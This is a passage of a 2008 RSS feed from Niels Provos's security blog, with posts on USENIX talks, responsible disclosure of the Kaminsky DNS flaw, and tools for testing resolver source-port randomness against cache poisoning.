    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=46</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=46</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    This week is going to be crazy busy with &lt;a href=&quot;http://www.usenix.org/events/hotsec08/&quot;&gt;HotSec&lt;/a&gt; and &lt;a href=&quot;http://www.usenix.org/events/sec08/&quot;&gt;USENIX Security&lt;/a&gt; in San Jose.  I am chairing the HotSec workshop tomorrow.   We were able to get a pretty &lt;a href=&quot;http://www.usenix.org/events/hotsec08/tech/&quot;&gt;nice program&lt;/a&gt; this year.   At USENIX Security, I am going to give two talks.  One is in the technical program talking about &quot;&lt;a href=&quot;http://www.usenix.org/events/sec08/tech/provos.html&quot;&gt;All Your iFrames Point to Us&lt;/a&gt;&quot; and the other one is an invited talk on &lt;a href=&quot;http://www.usenix.org/events/sec08/tech/techspeakers.html#provos&quot;&gt;web-based malware&lt;/a&gt; on Friday.   I am still working on the slides. 
    </content:encoded>

    <pubDate>Mon, 28 Jul 2008 17:51:44 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/46-guid.html</guid>
    <category>security</category>
<category>speaking</category>
<category>usenix</category>

</item>
<item>
    <title>DNS And Responsible Disclosure</title>
    <link>http://www.provos.org/index.php?/archives/44-DNS-And-Responsible-Disclosure.html</link>
            <category>Hacking</category>
            <category>Security</category>
    
    <comments>http://www.provos.org/index.php?/archives/44-DNS-And-Responsible-Disclosure.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=44</wfw:comment>

    <slash:comments>3</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=44</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    As everyone was upgrading their DNS infrastructure to be ready for August 7th, some security reseachers independently discovered the DNS flaw and disclosed it.  For those of us, who were either informed or had figured out the problem ourselves, it is surprising to find irresponsible and grossly negligent disclosure from respected members of our community.   There was a reason that Kaminsky did not disclose the flaw publicly when he found it.   The DNS infrastructure needed to be upgraded and repaired.&lt;br /&gt;
&lt;br /&gt;
Well, the time has run out.  A current study by David Dagon and myself puts the number of open recursive resolvers using static source ports at about &lt;strong&gt;78%&lt;/strong&gt;.   That is a lot of servers that need to be patched.  Two more weeks till August 7th could have helped to fix many of them.  Unfortunately, we will not find out now. 
    </content:encoded>

    <pubDate>Tue, 22 Jul 2008 09:15:00 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/44-guid.html</guid>
    <category>dns</category>
<category>security</category>

</item>
<item>
    <title>DNS Testing Image</title>
    <link>http://www.provos.org/index.php?/archives/43-DNS-Testing-Image.html</link>
            <category>Hacking</category>
            <category>Security</category>
    
    <comments>http://www.provos.org/index.php?/archives/43-DNS-Testing-Image.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=43</wfw:comment>

    <slash:comments>2</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=43</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    As we are all trying to patch and upgrade our resolvers and NAT devices, I created a small image tag that automatically assesses the randomess of a visitor&#039;s resolver:&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;&lt;a href=&quot;http://www.provos.org/index.php?/archives/42-DNS-and-Randomness.html&quot;&gt;&lt;img src=&quot;http://porttest.honeyd.org/-s-_dns.png&quot; border=0&gt;&lt;/a&gt;&lt;/center&gt;This is still in reference to the CERT Advisory on &lt;a href=&quot;http://www.kb.cert.org/vuls/id/800113&quot;&gt;Multiple DNS implementations vulnerable to cache poisoning&lt;/a&gt;.  You can place the image tag on your web page to test your visitors:&lt;br /&gt;
&lt;blockquote&gt;&amp;lt;center&amp;gt;&amp;lt;a href=&quot;http://www.provos.org/index.php?/archives/42-DNS-and-Randomness.html&quot;&amp;gt;&amp;lt;img src=&quot;http://porttest.honeyd.org/-s-_dns.png&quot; border=0&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/center&amp;gt; &lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
The &lt;em&gt;a href&lt;/em&gt; link can of course point to a more helpful web page and the image itself can also be changed according to need.&lt;br /&gt;
&lt;br /&gt;
If you want to show this on your pages with different images, just let me know.&lt;br /&gt;
&lt;br /&gt;
 
    </content:encoded>

    <pubDate>Tue, 15 Jul 2008 19:11:50 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/43-guid.html</guid>
    <category>dns</category>
<category>security</category>

</item>
<item>
    <title>DNS and Randomness</title>
    <link>http://www.provos.org/index.php?/archives/42-DNS-and-Randomness.html</link>
            <category>Hacking</category>
    
    <comments>http://www.provos.org/index.php?/archives/42-DNS-and-Randomness.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=42</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=42</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    Over the last few days, we have heard a lot about DNS cache poisoning and how we need to get our recursive resolvers to use random source ports.   We are being told that this is a flaw in the protocol, but no details are going to be available until a presentation at Blackhat in August.   DNS cache poisoning of course has been around for a long time, most notably when the 16-bit query IDs were not randomized.  Here are some good references:&lt;ul&gt;&lt;br /&gt;
&lt;li&gt;&lt;a href=&quot;http://www.lurhq.com/dnscache.pdf&quot;&gt;DNS Cache Poisoning – The Next Generation&lt;/a&gt; - Joe Stewart elaborating on observations from &lt;a href=&quot;http://www.rnp.br/cais/alertas/2002/cais-ALR-19112002a.html&quot;&gt;Vagner Sacramento&lt;/a&gt; in 2002: Bind would issue multiple request with the same query to the same IP; increasing the chance of spoofed DNS packets to guess the right query ID.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.trusteer.com/bind9dns&quot;&gt;Bind 9 DNS Cache Poisoning&lt;/a&gt; by Amit Klein in 2007 requires just 10 guesses to predict the query ID.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://lcamtuf.coredump.cx/oldtcp/tcpseq.html&quot;&gt;Strange Attractors and TCP/IP Sequence Number Analysis&lt;/a&gt; Michal Zalewski in 2001 looked at predicting the 32-bit TCP sequence number across multiple operating systems; a very similar problem to predicting 16-bit source port and 16-bit query ID.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;
Oarc in the meantime has made a &lt;a href=&quot;https://www.dns-oarc.net/oarc/services/porttest&quot;&gt;port testing server &lt;/a&gt;available.   A simple invocation of dig tells you if your recursive resolver is vulnerable:&lt;br /&gt;
&lt;blockquote&gt;dig +short porttest.dns-oarc.net TXT&lt;/blockquote&gt;&lt;br /&gt;
The TXT record assesses a resolver&#039;s source port randomness as poor, fair or good.  Unfortunately, on my network, I found this record constantly cached from other resolvers, so I wrote a small Python tool that analyzes the &lt;a href=&quot;http://en.wikipedia.org/wiki/Statistical_randomness&quot;&gt;randomness&lt;/a&gt; of both your source port numbers as a well as your query IDs.   The tool can be downloaded from:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://www.monkey.org/~provos/dnspredict.py&quot;&gt;http://www.monkey.org/~provos/dnspredict.py&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;Its usage is pretty simple:&lt;br /&gt;
 &lt;br /&gt;&lt;a href=&quot;http://www.provos.org/index.php?/archives/42-DNS-and-Randomness.html#extended&quot;&gt;Continue reading &quot;DNS and Randomness&quot;&lt;/a&gt;
    </content:encoded>

    <pubDate>Sun, 13 Jul 2008 17:59:11 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/42-guid.html</guid>
    <category>dns</category>
<category>security</category>

</item>

</channel>
</rss>